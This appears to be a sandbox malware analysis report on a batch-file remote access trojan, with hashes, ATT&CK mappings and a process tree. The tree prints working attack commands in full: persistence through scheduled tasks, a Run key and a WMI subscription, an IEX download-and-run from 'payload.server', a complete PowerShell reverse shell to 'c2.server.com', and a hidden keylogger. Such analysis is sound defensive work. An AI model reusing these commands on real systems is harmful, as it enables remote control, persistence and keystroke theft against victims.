37b90a8f6141e4b81833a03719dc7a6e102fbc5fa74b8562a2214c0b73ebe8a0

Analysis

max time kernel
149s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:23

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General

Target
rat_build_99658_014315.bat
Size 4KB
Sample260529-2a63ssay81
SHA256 37b90a8f6141e4b81833a03719dc7a6e102fbc5fa74b8562a2214c0b73ebe8a0
MD5 7eba908eac85ff518979e060bd2f4d34
SHA1 87455641787a12d4bfb6aa9fbd541a2033cd140e
SHA512 ef93c3abf68d42ef44403bc7485858ad86a7f4056f3b4cd058ef3a20569a823e14a65e0ba0e003cbc2efa128a8d7a03b13fecd937aafcdf297e3353a1e3713bb
SSDEEP 96:mILdWtuOAV9TpH9T/pbjGV+B1jfYBB0ypZdgkmhXajO9QYiFgZk8mvlo1s6s:mttuPFxpbjGVE1MPfpZdHMajO9QYiFgc
TLSH
T1F3B1C723A39B622094F05A2CED323868535CD6F71305D98DBB48CDC55A4CF83D52EABB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_99658.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4652	powershell.exe
4608	powershell.exe
1976	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_99658 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_99658.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
944	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2136	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4416	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4256	schtasks.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4652	powershell.exe
4652	powershell.exe
4608	powershell.exe
4608	powershell.exe
1976	powershell.exe
1976	powershell.exe
1976	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4552	WMIC.exe
Token: SeSecurityPrivilege	4552	WMIC.exe
Token: SeTakeOwnershipPrivilege	4552	WMIC.exe
Token: SeLoadDriverPrivilege	4552	WMIC.exe
Token: SeSystemProfilePrivilege	4552	WMIC.exe
Token: SeSystemtimePrivilege	4552	WMIC.exe
Token: SeProfSingleProcessPrivilege	4552	WMIC.exe
Token: SeIncBasePriorityPrivilege	4552	WMIC.exe
Token: SeCreatePagefilePrivilege	4552	WMIC.exe
Token: SeBackupPrivilege	4552	WMIC.exe
Token: SeRestorePrivilege	4552	WMIC.exe
Token: SeShutdownPrivilege	4552	WMIC.exe
Token: SeDebugPrivilege	4552	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4552	WMIC.exe
Token: SeRemoteShutdownPrivilege	4552	WMIC.exe
Token: SeUndockPrivilege	4552	WMIC.exe
Token: SeManageVolumePrivilege	4552	WMIC.exe
Token: 33	4552	WMIC.exe
Token: 34	4552	WMIC.exe
Token: 35	4552	WMIC.exe
Token: 36	4552	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4552	WMIC.exe
Token: SeSecurityPrivilege	4552	WMIC.exe
Token: SeTakeOwnershipPrivilege	4552	WMIC.exe
Token: SeLoadDriverPrivilege	4552	WMIC.exe
Token: SeSystemProfilePrivilege	4552	WMIC.exe
Token: SeSystemtimePrivilege	4552	WMIC.exe
Token: SeProfSingleProcessPrivilege	4552	WMIC.exe
Token: SeIncBasePriorityPrivilege	4552	WMIC.exe
Token: SeCreatePagefilePrivilege	4552	WMIC.exe
Token: SeBackupPrivilege	4552	WMIC.exe
Token: SeRestorePrivilege	4552	WMIC.exe
Token: SeShutdownPrivilege	4552	WMIC.exe
Token: SeDebugPrivilege	4552	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4552	WMIC.exe
Token: SeRemoteShutdownPrivilege	4552	WMIC.exe
Token: SeUndockPrivilege	4552	WMIC.exe
Token: SeManageVolumePrivilege	4552	WMIC.exe
Token: 33	4552	WMIC.exe
Token: 34	4552	WMIC.exe
Token: 35	4552	WMIC.exe
Token: 36	4552	WMIC.exe
Token: SeIncreaseQuotaPrivilege	752	WMIC.exe
Token: SeSecurityPrivilege	752	WMIC.exe
Token: SeTakeOwnershipPrivilege	752	WMIC.exe
Token: SeLoadDriverPrivilege	752	WMIC.exe
Token: SeSystemProfilePrivilege	752	WMIC.exe
Token: SeSystemtimePrivilege	752	WMIC.exe
Token: SeProfSingleProcessPrivilege	752	WMIC.exe
Token: SeIncBasePriorityPrivilege	752	WMIC.exe
Token: SeCreatePagefilePrivilege	752	WMIC.exe
Token: SeBackupPrivilege	752	WMIC.exe
Token: SeRestorePrivilege	752	WMIC.exe
Token: SeShutdownPrivilege	752	WMIC.exe
Token: SeDebugPrivilege	752	WMIC.exe
Token: SeSystemEnvironmentPrivilege	752	WMIC.exe
Token: SeRemoteShutdownPrivilege	752	WMIC.exe
Token: SeUndockPrivilege	752	WMIC.exe
Token: SeManageVolumePrivilege	752	WMIC.exe
Token: 33	752	WMIC.exe
Token: 34	752	WMIC.exe
Token: 35	752	WMIC.exe
Token: 36	752	WMIC.exe
Token: SeIncreaseQuotaPrivilege	752	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4360 wrote to memory of 4256	4360	cmd.exe	88
PID 4360 wrote to memory of 4416	4360	cmd.exe	89
PID 4360 wrote to memory of 4552	4360	cmd.exe	90
PID 4360 wrote to memory of 752	4360	cmd.exe	91
PID 4360 wrote to memory of 3488	4360	cmd.exe	92
PID 4360 wrote to memory of 2136	4360	cmd.exe	94
PID 4360 wrote to memory of 944	4360	cmd.exe	99
PID 4360 wrote to memory of 4652	4360	cmd.exe	100
PID 4360 wrote to memory of 4608	4360	cmd.exe	103
PID 4360 wrote to memory of 1976	4360	cmd.exe	105

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_99658_014315.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4360
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_99658" /tr "C:\Users\Admin\AppData\Local\Temp\_99658.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4256
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_99658" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_99658.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4416
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_99658", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4552
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_99658", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_99658.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:752
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_99658.txt
  2⤵
  PID:3488
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:2136
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_99658.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1976

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 44aab8f07a99d61936237eabd0670cd4ef8163d64aa066d00fa41b52e116a978
MD5 e9006a399c6c37dc1ac9452359a5370f
SHA1 28d94b6035d5ac3ea6a2b43563ef731baa5daadf
SHA512 b203c3065cf1a2c0d961fd5f6cb3bc181bdda0964e66e4c37d1dc63df8a0541fb929af63f51c9c3c44deecd6fe5641a6b97d619ee06d2a16d0fd1ac9944486dd
TLSH
T155117A27F39CCA21CC96153A409D9C1172B683D7819EDF9F6FC4D214A07F584CB71194
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 47b331fb0b0290a3e86901ee72a4e4c359b35981b0f63488e43e10f27a9ba0bc
MD5 730d5799f470acaaa402444e264a78b7
SHA1 ed0e38996e7d36f78a85ab40abdea720d6c9318d
SHA512 b034f0683b620a1852f6d26eec59ea4c17c158160a5e6015751228ab019df343bfeff56c9c052ef09b8f12f134b80d71a2dcf0e34e3d9036fbb25822bbfec134
TLSH
T1A4115727B39C89A1CC96153A409D9C1172B683D7409EDEDF6BC0D214E17F584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_xxkntjrl.eab.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xxkntjrl.eab.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4608-23-0x0000028DEBDB0000-0x0000028DEBFCC000-memory.dmp

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memory/4652-8-0x000002EA03040000-0x000002EA03062000-memory.dmp

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